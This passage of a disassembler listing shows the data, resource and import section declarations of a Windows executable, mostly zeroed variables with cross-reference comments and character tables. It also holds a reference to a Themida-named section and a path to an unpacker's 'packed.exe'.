					; sub_409B12+1DAr ...
dword_4CAF68	dd 0			; DATA XREF: sub_409B12+365w
					; sub_409B12+3BAr ...
dword_4CAF6C	dd 0			; DATA XREF: sub_409B12+AA2w
dword_4CAF70	dd 0			; DATA XREF: sub_409B12+5DCw
					; sub_409B12+748r ...
dword_4CAF74	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5153r ...
dword_4CAF78	dd 0			; DATA XREF: sub_409B12+4Bw
					; sub_409B12+C2r ...
dword_4CAF7C	dd 0			; DATA XREF: sub_409B12+473w
					; sub_409B12+4CBr ...
dword_4CAF80	dd 0			; DATA XREF: sub_409B12+165w
					; sub_409B12+1BAr ...
dword_4CAF84	dd 0			; DATA XREF: sub_409B12+9FFw
					; sub_409B12+A5Br ...
dword_4CAF88	dd 0			; DATA XREF: sub_409B12+685w
					; sub_409B12+7ACr ...
dword_4CAF8C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B6r ...
dword_4CAF90	dd 0			; DATA XREF: sub_409B12+C1Bw
					; sub_409B12+C47r
dword_4CAF94	dd 0			; DATA XREF: sub_409B12+3Ew
					; sub_409B12+BAr ...
dword_4CAF98	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B12+298w ...
dword_4CAF9C	dd 0			; DATA XREF: sub_409B12+651w
					; sub_409B12+78Cr ...
dword_4CAFA0	dd 0			; DATA XREF: sub_409B12+637w
					; sub_409B12+77Cr ...
dword_4CAFA4	dd 0			; DATA XREF: sub_401ACD+73B9r
					; sub_409B12+C92w
dword_4CAFA8	dd 0			; DATA XREF: sub_409B12+879w
					; ___:004168D5r ...
dword_4CAFAC	dd 0			; DATA XREF: sub_409B12+112w
dword_4CAFB0	dd 0			; DATA XREF: sub_409B12+BE7w
					; sub_409B12+C22r
dword_4CAFB4	dd 0			; DATA XREF: sub_401ACD+2FE4r
					; sub_401ACD+5F98r ...
dword_4CAFB8	dd 0			; DATA XREF: sub_409B12+459w
					; sub_409B12+4BBr ...
dword_4CAFBC	dd 0			; DATA XREF: sub_409B12+49Aw
					; sub_409B12+4E3r ...
dword_4CAFC0	dd 0			; DATA XREF: sub_409B12+466w
					; sub_409B12+4C3r ...
dword_4CAFC4	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D3r ...
dword_4CAFC8	dd 0			; DATA XREF: sub_409B12+1A6w
					; sub_409B12+1E2r ...
dword_4CAFCC	dd 0			; DATA XREF: sub_409B12+9F2w
					; sub_409B12+A53r ...
dword_4CAFD0	dd 0			; DATA XREF: sub_409B12+158w
					; sub_409B12+1ADr ...
dword_4CAFD4	dd 0			; DATA XREF: sub_409B12+8Cw
					; sub_409B12+E2r ...
dword_4CAFD8	dd 0			; DATA XREF: sub_409B12+610w
					; sub_409B12+764r ...
dword_4CAFDC	dd 0			; DATA XREF: sub_409B12+B43w
					; sub_409B12+B5Fr
dword_4CAFE0	dd 0			; DATA XREF: sub_409B12+33Aw
					; sub_419651+55r
dword_4CAFE4	dd 0			; DATA XREF: sub_409B12+27Ew
					; sub_409B12+2D3r ...
dword_4CAFE8	dd 0			; DATA XREF: sub_409B12+BAAw
dword_4CAFEC	dd 0			; DATA XREF: sub_409B12+AECw
					; sub_40AB31+CEr
dword_4CAFF0	dd 0			; DATA XREF: sub_409B12+ADFw
					; sub_409B12+AE6r ...
dword_4CAFF4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5132r ...
dword_4CAFF8	dd 0			; DATA XREF: sub_401ACD+5124r
					; sub_401ACD+7980r ...
dword_4CAFFC	dd 0			; DATA XREF: sub_409B12+BF4w
					; sub_409B12+C2Fr
dword_4CB000	dd 0			; DATA XREF: sub_401ACD+1E56r
					; sub_401ACD+5AEDr ...
dword_4CB004	dd 0			; DATA XREF: sub_409B12+9B1w
					; sub_409B12+A2Br ...
dword_4CB008	dd 0			; DATA XREF: sub_409B12+65Ew
					; sub_409B12+794r ...
dword_4CB00C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB010	dd 0			; DATA XREF: sub_409B12+59Bw
					; sub_409B12+70Cr ...
dword_4CB014	dd 0			; DATA XREF: sub_409B12+B36w
					; sub_409B12+B57r
dword_4CB018	dd 0			; DATA XREF: sub_409B12+540w
					; sub_409B12+6C4r ...
dword_4CB01C	dd 0			; DATA XREF: sub_409B12+B29w
					; sub_409B12+B4Ar
dword_4CB020	dd 0			; DATA XREF: ___:00401273r
					; sub_409B12+31w ...
dword_4CB024	dd 0			; DATA XREF: sub_409B12+17Fw
					; sub_409B12+1CAr ...
		dd 0
dword_4CB02C	dd 0			; DATA XREF: sub_409B12+927w
					; sub_409B12+93Br
dword_4CB030	dd 0			; DATA XREF: sub_409B12+99w
					; sub_409B12+EAr ...
dword_4CB034	dd 0			; DATA XREF: sub_409B12:loc_409C10w
					; sub_409B12+12Bw ...
dword_4CB038	dd 0			; DATA XREF: sub_409B12+126w
					; sub_40A7CE+1Cr
dword_4CB03C	dd 0			; DATA XREF: sub_409B12:loc_409D00w
					; sub_409B12:loc_409D67w ...
dword_4CB040	dd 0			; DATA XREF: sub_409B12+250w
					; sub_40A7CE+50r
dword_4CB044	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4567r ...
dword_4CB048	dd 0			; DATA XREF: sub_409B12+41Ew
					; sub_40A7CE+84r
dword_4CB04C	dd 0			; DATA XREF: sub_409B12:loc_40A016w
					; sub_40A7CE:loc_40A87Er
dword_4CB050	dd 0			; DATA XREF: sub_409B12+4FFw
					; sub_40A7CE+B8r
dword_4CB054	dd 0			; DATA XREF: sub_409B12:loc_40A2E7w
					; sub_40A7CE:loc_40A8B2r
dword_4CB058	dd 0			; DATA XREF: sub_409B12+7D0w
					; sub_40A7CE+ECr
dword_4CB05C	dd 0			; DATA XREF: sub_409B12:loc_40A3D2w
					; sub_409B12+8EFw ...
dword_4CB060	dd 0			; DATA XREF: sub_409B12+8EAw
					; sub_40A7CE+120r
dword_4CB064	dd 0			; DATA XREF: sub_401ACD:loc_406F17r
					; sub_409B12:loc_40A466w ...
dword_4CB068	dd 0			; DATA XREF: sub_409B12+94Fw
					; sub_40A7CE+154r
dword_4CB06C	dd 0			; DATA XREF: sub_401ACD+456Fr
					; sub_409B12:loc_40A582w ...
dword_4CB070	dd 0			; DATA XREF: sub_409B12+A6Bw
					; sub_40A7CE+188r
dword_4CB074	dd 0			; DATA XREF: sub_409B12:loc_40A5CCw
					; sub_40A7CE:loc_40A982r
dword_4CB078	dd 0			; DATA XREF: sub_409B12+AB5w
					; sub_40A7CE+1BCr
dword_4CB07C	dd 0			; DATA XREF: sub_409B12:loc_40A616w
					; sub_40A7CE:loc_40A9B6r
dword_4CB080	dd 0			; DATA XREF: sub_409B12+AFFw
					; sub_40A7CE+1F0r
dword_4CB084	dd 0			; DATA XREF: sub_409B12:loc_40A68Aw
					; sub_40A7CE:loc_40A9EAr
dword_4CB088	dd 0			; DATA XREF: sub_409B12+B73w
					; sub_40A7CE+224r
dword_4CB08C	dd 0			; DATA XREF: sub_409B12:loc_40A6D4w
					; sub_40A7CE:loc_40AA1Er
dword_4CB090	dd 0			; DATA XREF: sub_409B12+BBDw
					; sub_40A7CE+258r
dword_4CB094	dd 0			; DATA XREF: sub_409B12:loc_40A772w
					; sub_40A7CE:loc_40AA52r
dword_4CB098	dd 0			; DATA XREF: sub_409B12+C5Bw
					; sub_40A7CE+28Cr
dword_4CB09C	dd 0			; DATA XREF: sub_409B12:loc_40A7BCw
					; sub_40A7CE:loc_40AA86r
dword_4CB0A0	dd 0			; DATA XREF: sub_409B12+CA5w
					; sub_40A7CE+2C0r
dword_4CB0A4	dd 7 dup(0)		; DATA XREF: sub_40AC0F+32o
dword_4CB0C0	dd 0			; DATA XREF: sub_40BA56+18r
					; sub_40BFEB+92w ...
dword_4CB0C4	dd 0			; DATA XREF: sub_40C124+4Dr
					; sub_40C124+2F1w ...
		dd 7FEh	dup(0)
dword_4CD0C0	dd 6 dup(0)		; DATA XREF: sub_40C124+D2o
					; sub_40C124+13Bo ...
dword_4CD0D8	dd 0			; DATA XREF: sub_40BACD+2C4w
					; sub_40BACD+348o
dword_4CD0DC	dd 0			; DATA XREF: sub_40BACD+33Ew
					; sub_40BACD+35Ar
dword_4CD0E0	dd 0			; DATA XREF: sub_40BACD+2CFw
dword_4CD0E4	dd 0			; DATA XREF: sub_40BACD+2B9w
					; sub_40BACD:loc_40BDE2r
dword_4CD0E8	dd 20h dup(0)		; DATA XREF: sub_40BACD+2E2o
					; sub_40BACD+302o
dword_4CD168	dd 0			; DATA XREF: sub_40BACD+2D5w
dword_4CD16C	dd 0			; DATA XREF: sub_40BACD+2EFw
					; sub_40BACD+30Fw
dword_4CD170	dd 0			; DATA XREF: sub_40BACD:loc_40BE3Dr
		align 8
dword_4CD178	dd 0			; DATA XREF: sub_40BACD+82w
					; sub_40BACD+101o
dword_4CD17C	dd 41h dup(0)		; DATA XREF: sub_40BACD+41o
dword_4CD280	dd 41h dup(0)		; DATA XREF: sub_40BACD+69o
dword_4CD384	dd 0			; DATA XREF: sub_40BACD+F7w
					; sub_40BACD+113r
dword_4CD388	dd 0			; DATA XREF: sub_40BACD+52w
dword_4CD38C	dd 0			; DATA XREF: sub_40BACD+4Dw
					; sub_40BACD+D4r
dword_4CD390	dd 20h dup(0)		; DATA XREF: sub_40BACD+9Ao
					; sub_40BACD+BAo
dword_4CD410	dd 0			; DATA XREF: sub_40BACD+8Fw
dword_4CD414	dd 0			; DATA XREF: sub_40BACD+A7w
					; sub_40BACD+C7w
dword_4CD418	dd 0			; DATA XREF: sub_40BACD:loc_40BBF6r
		align 10h
dword_4CD420	dd 0			; DATA XREF: sub_40BACD+1A5w
					; sub_40BACD+225o
dword_4CD424	dd 41h dup(0)		; DATA XREF: sub_40BACD+167o
dword_4CD528	dd 41h dup(0)		; DATA XREF: sub_40BACD+18Co
dword_4CD62C	dd 0			; DATA XREF: sub_40BACD+21Bw
					; sub_40BACD+237r
dword_4CD630	dd 0			; DATA XREF: sub_40BACD+17Aw
dword_4CD634	dd 0			; DATA XREF: sub_40BACD+175w
					; sub_40BACD+1F8r
dword_4CD638	dd 20h dup(0)		; DATA XREF: sub_40BACD+1BEo
					; sub_40BACD+1DEo
dword_4CD6B8	dd 0			; DATA XREF: sub_40BACD+1B1w
dword_4CD6BC	dd 0			; DATA XREF: sub_40BACD+1CBw
					; sub_40BACD+1EBw
dword_4CD6C0	dd 0			; DATA XREF: sub_40BACD:loc_40BD1Ar
		align 8
dword_4CD6C8	dd 0			; DATA XREF: sub_40BACD+417w
					; sub_40BACD+470o
dword_4CD6CC	dd 0A2h	dup(0)		; DATA XREF: sub_40BACD+405o
dword_4CD954	dd 41h dup(0)		; DATA XREF: sub_40BACD+3CFo
dword_4CDA58	dd 0			; DATA XREF: sub_40BACD+3FCw
					; sub_40BACD+423r
		align 10h
dword_4CDA60	dd 0			; DATA XREF: sub_40BACD+466w
					; sub_40BACD+482r
dword_4CDA64	dd 0			; DATA XREF: sub_40BACD+429w
dword_4CDA68	dd 0			; DATA XREF: sub_40BACD+436w
dword_4CDA6C	dd 0			; DATA XREF: sub_40BACD+3F6w
		dd 0
dword_4CDA74	dd 0			; DATA XREF: sub_40BACD:loc_40BF65r
		dd 0
dword_4CDA7C	dd 0			; DATA XREF: sub_40B719+Er
					; sub_40B719+32r
dword_4CDA80	dd 0			; DATA XREF: sub_40B719+9r
					; sub_40B719+26r
dword_4CDA84	dd 82h dup(0)		; DATA XREF: sub_40C59B+8Do
dword_4CDC8C	dd 2 dup(0)		; DATA XREF: sub_40CF04+68o
dword_4CDC94	dd 0			; DATA XREF: sub_40D89F+8w
					; ___:0040DC6Eo
		dd 0
dword_4CDC9C	dd 2 dup(0)		; DATA XREF: ___:0040DBA4o
dword_4CDCA4	dd 0			; DATA XREF: ___:0040E4D7r
		dd 0
		dd 0
dword_4CDCB0	dd 0			; DATA XREF: ___:0040E4AAr
dword_4CDCB4	dd 0			; DATA XREF: ___:0040E48Cr
					; ___:0040E4F5r
		dd 0
dword_4CDCBC	dd 0			; DATA XREF: sub_40BACD+2AEr
					; ___:0040E6E8w
		dd 0
dword_4CDCC4	dd 0			; DATA XREF: sub_40B785+1Cr
dword_4CDCC8	dd 0			; DATA XREF: ___:0040EFE8w
					; ___:0040F00Fr ...
		dd 3 dup(0)
dword_4CDCD8	dd 0			; DATA XREF: ___:00410905r
		align 10h
dword_4CDCE0	dd 0			; DATA XREF: sub_412351+4w
					; sub_412351+9o
		dd 109h	dup(0)
dword_4CE108	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Eo
					; sub_401ACD:loc_404AC4o
dword_4CE728	dd 0			; DATA XREF: sub_401ACD+1A23w
					; sub_401ACD+2F66r ...
		dd 11Ch	dup(0)
dword_4CEB9C	dd 1000h dup(0)		; DATA XREF: sub_4151AC+1Do
					; sub_41524Co ...
dword_4D2B9C	dd 0			; DATA XREF: sub_4151AC+13o
					; sub_41524C+Eo ...
dword_4D2BA0	dd 0			; DATA XREF: sub_4155F7+Fr
					; sub_4157F0+12r
		align 8
dword_4D2BA8	dd 0Eh dup(0)		; DATA XREF: sub_416922+Fo
dword_4D2BE0	dd 80h dup(0)		; DATA XREF: sub_4175E9+41o
dword_4D2DE0	dd 200h	dup(0)		; DATA XREF: sub_416F1A+C7o
					; sub_417275+DDo ...
dword_4D35E0	dd 200h	dup(0)		; DATA XREF: sub_416F1A+D6o
					; sub_417275+F4o ...
dword_4D3DE0	dd 0			; DATA XREF: sub_416F1A+86w
					; sub_4170EC+94r
dword_4D3DE4	dd 0			; DATA XREF: sub_416F1A+A7w
					; sub_417552+55r ...
dword_4D3DE8	dd 0			; DATA XREF: sub_416F1A+A0w
					; sub_4170EC+D6r ...
dword_4D3DEC	dd 0			; DATA XREF: sub_416F1A+79w
					; sub_4170EC+35r ...
dword_4D3DF0	dd 80h dup(0)		; DATA XREF: sub_417552+5Eo
dword_4D3FF0	dd 0			; DATA XREF: sub_416F1A+93w
					; sub_4170EC+A2r
		align 8
dword_4D3FF8	dd 0			; DATA XREF: sub_416F1A+E7o
					; sub_416F1A+103r ...
dword_4D3FFC	dd 0			; DATA XREF: sub_417275+17Bw
					; sub_41741C+107w
dword_4D4000	dd 0			; DATA XREF: sub_417275+180w
					; sub_41741C+10Dw ...
dword_4D4004	dd 0			; DATA XREF: sub_417275+159w
					; sub_417552+4Fr
dword_4D4008	dd 0			; DATA XREF: sub_4178BA+22w
					; sub_4178BA:loc_417A3Fw ...
dword_4D400C	dd 0			; DATA XREF: sub_401ACD+3CC3o
					; sub_417788+12o ...
		dd 0
dword_4D4014	dd 0			; DATA XREF: sub_4178BA+1Cr
					; sub_417A5F+3Ar
		dd 4Eh dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437830o
		dd 30h dup(0)
dword_4D4214	dd 0			; DATA XREF: sub_4178BA+28r
					; sub_417A5F+4Aw
		dd 1944h dup(0)
dword_4DA728	dd 0			; DATA XREF: sub_417A5F+23o
dword_4DA72C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE1o
					; sub_417788+3Co ...
dword_4DA930	dd 17h dup(0)		; DATA XREF: sub_4187DD:loc_4188FAo
					; sub_4187DD+131o ...
dword_4DA98C	dd 80h dup(0)		; DATA XREF: sub_419593+7Co
					; sub_419593+A5o
dword_4DAB8C	dd 0			; DATA XREF: sub_418B58+45w
					; sub_418B58+4Dr ...
dword_4DAB90	dd 17h dup(0)		; DATA XREF: sub_41945F:loc_419581o
					; sub_41945F+12Do
dword_4DABEC	dd 80h dup(0)		; DATA XREF: sub_418A98+4Co
					; sub_418A98+7Eo ...
byte_4DADEC	db 0			; DATA XREF: sub_418B58+29r
					; sub_418B58+34w
		align 10h
dword_4DADF0	dd 80h dup(0)		; DATA XREF: sub_418DAF+61o
					; sub_418DAF+89o ...
dword_4DAFF0	dd 81h dup(0)		; DATA XREF: sub_4186C1:loc_4186F9o
					; sub_4186C1+5Bo
dword_4DB1F4	dd 0			; DATA XREF: sub_419A20:loc_419A41r
					; sub_419B0F+54r ...
dword_4DB1F8	dd 0			; DATA XREF: sub_419A20r
					; sub_419B0F+37r ...
dword_4DB1FC	dd 0			; DATA XREF: sub_419A50+1Ar
					; sub_419C64+83o
dword_4DB200	dd 0			; DATA XREF: sub_419A20:loc_419A34r
					; sub_419C64+11Bw
dword_4DB204	dd 0Dh dup(0)		; DATA XREF: sub_419B0F+13o
					; sub_419C64:loc_419DA1o
dword_4DB238	dd 0			; DATA XREF: sub_419B0F+CDr
					; sub_419B0F+ECr ...
		align 10h
dword_4DB240	dd 0Eh dup(0)		; DATA XREF: sub_41A88B+47o
dword_4DB278	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB27C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB280	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB294	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB298	dd 2430B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB2A0	dd 2430B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB2A4	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB2A8	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB2B0	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB2B8	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB2BC	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB2C0	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB2C4	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB2CC	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB2D0	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB2D8	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB2DA	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB2DE	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB2E0	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB2E2	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB2E8	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB2F0	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB2F4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB2F8	dd 0			; DATA XREF: sub_41F312r
dword_4DB2FC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB300	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB304	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB30C	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB310	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB314	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB318	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB31C	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DB320	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DB324	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DB328	dd 0			; DATA XREF: sub_42255C+29r
dword_4DB32C	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DB334	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DB344	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DB34C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DB350	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB2B0o
		align 10h
		dd 3Ah dup(0)
dword_4DB458	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DB45C	dd 0			; DATA XREF: sub_423590+21r
dword_4DB460	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DB464	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DB468	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DB470	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DB472	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DB474	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DB490	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DB494	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DB498	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DB49C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DB4A0	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DB4A8	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DB4B0	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DB4B4	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DB4F4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DB4F6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DB4F8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DB4FA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DB4FC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DB4FE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DB500	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DB502	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DB504	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DB508	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DB548	dw 0			; DATA XREF: sub_424A4A+46r
word_4DB54A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DB54C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DB54E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DB550	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DB552	dw 0			; DATA XREF: sub_424A4A+55r
word_4DB554	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DB556	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DB558	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DB55C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DB560	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DB564	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DB568	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DB56C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DB570	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DB574	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DB578	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DB57C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DB580	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DB588	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DB58C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DB590	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DB594	db 0			; DATA XREF: sub_40D878r sub_40D878+9w
		align 4
dword_4DB598	dd 2431140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		align 10h
dword_4DB5A0	dd 400h	dup(0)		; DATA XREF: ___:off_43C9E8o
					; ___:0043C9F0o
dword_4DC5A0	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DC5C0	dd 2430650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DC5C4	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DC6C0	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DC6C4	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DC6D0	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DC6DC	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DC6E0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DC7E0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DC7E1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DC8E4	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DC8E8	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DC8EC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DC8F0	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DC8F4	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DC8F8	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DC8FC	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DC900	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DC904	dd 2430000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DC908	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DC90C	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DC910	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DC914	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DC918	dd 2430758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DC91C	dd 2430758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 1B8h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
dword_4DE000	dd 400h	dup(0)		; DATA XREF: Themida_:0053E9DCo
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
